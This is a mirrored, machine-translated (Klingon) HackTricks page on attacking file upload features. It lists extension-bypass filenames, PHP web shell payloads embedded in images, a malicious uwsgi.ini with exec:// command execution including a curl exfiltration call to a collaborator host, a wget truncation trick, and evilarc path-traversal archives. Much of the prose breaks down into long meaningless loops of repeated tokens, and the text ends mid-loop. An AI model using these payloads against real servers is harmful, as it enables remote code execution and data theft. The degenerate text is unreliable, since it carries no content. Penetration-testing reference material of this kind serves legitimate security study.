Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 04:33:28 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/file-upload/README.md
Translator workflow b442ae90c4 Translated to Klingon
2024-02-10 17:52:19 +00:00

45 KiB
Raw Permalink Blame History

File Upload

htARTE (HackTricks AWS Red Team Expert) tlhIngan Hol!

HackTricks vItlhutlh:

Bug bounty tip: Intigriti sign up bug bounty platform created by hackers, for hackers! https://go.intigriti.com/hacktricks today, be'Hom start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

File Upload General Methodology

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. check previous extensions apply. uppercase letters test them using some: pHp, .pHP5, .PhAr ...
  2. Check adding a valid extension before the execution extension (use previous extensions also):
  • file.png.php
  • file.png.Php5
  1. special characters at the end. bruteforce all the ascii be'Hom Unicode characters. (Note that you can also try to use the previously motioned extensions) Burp use Try adding:
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. tricking the extension parser bypass the protections doubling extension adding junk data (null bytes) Try to **You can also use the previous extensions to prepare a better payload._
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. another layer of extensions previous check Add:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. exec extension before the valid extension pray server misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
  • ex: file.php.png
  1. NTFS alternate data stream (ADS) Windows. colon character “:” forbidden extension permitted one. empty file with the forbidden extension created server (e.g. “file.asax:.jpg”). file edited techniques short filename. “::$data” pattern non-empty files. dot character pattern useful bypass further restrictions (.e.g. “file.asp::$data.”)
  2. break the filename limits. valid extension gets cut off. malicious PHP gets left. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
  • Github with the code

Other Tricks to check

  • Find a vulnerability to rename the file already uploaded (to change the extension).
  • Find a Local File Inclusion vulnerability to execute the backdoor.
  • Possible Information disclosure:
  1. Upload several times (and at the same time) the same file with the same name
  2. Upload a file with the name of a file or folder that already exists
  3. Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
  4. Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
  5. Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
  6. Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because new *.xml and *.war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Qap vItlhutlh payload execution parsing configuration file. configuration activated parsed, uWSGI process restarted (potentially crash Denial Service attack) file set auto-reload. auto-reload feature, enabled, reload file specified intervals detecting changes.

uWSGI's configuration file parsing nature lax understand crucial. Specifically, discussed payload inserted binary file (such image PDF), further broadening scope potential exploitation.

wget File Upload/SSRF Trick

occasions server using wget download files indicate URL. cases, code checking extension downloaded files whitelist assure allowed files going downloaded. However, check bypassed.
maximum length filename linux 255, however, wget truncate filenames 236 characters. download file called "A"*232+".php"+".gif", filename bypass check (as example ".gif" valid extension) wget rename file "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

QaH lo'wI' vItlhutlh bIyajbe' 'e' bIyaj 'e' HTTP server vItlhutlh 'e' file 'e' bIyajbe' 'e', 'ach url 'e' bIyajbe' 'e' file 'e' bIyajbe' 'e' wget 'e' download bIyajbe' 'e' new name 'e' bIyajbe'. 'ach wget 'e' parameter --trust-server-names bIyajbe' 'e' 'ach bIyajbe' 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach 'e' 'ach **

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

qarDaSmoHbe'chugh vItlhutlh

qarDaSmoHbe'chugh vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq qarDaSmoHbe'chughDaq vItlhutlhDaq

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Qapla'! symlink trick with evilarc jatlh. vaj targh /flag.txt file vItlhutlh. vaj vItlhutlhbe'lu'chugh evilarc vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh 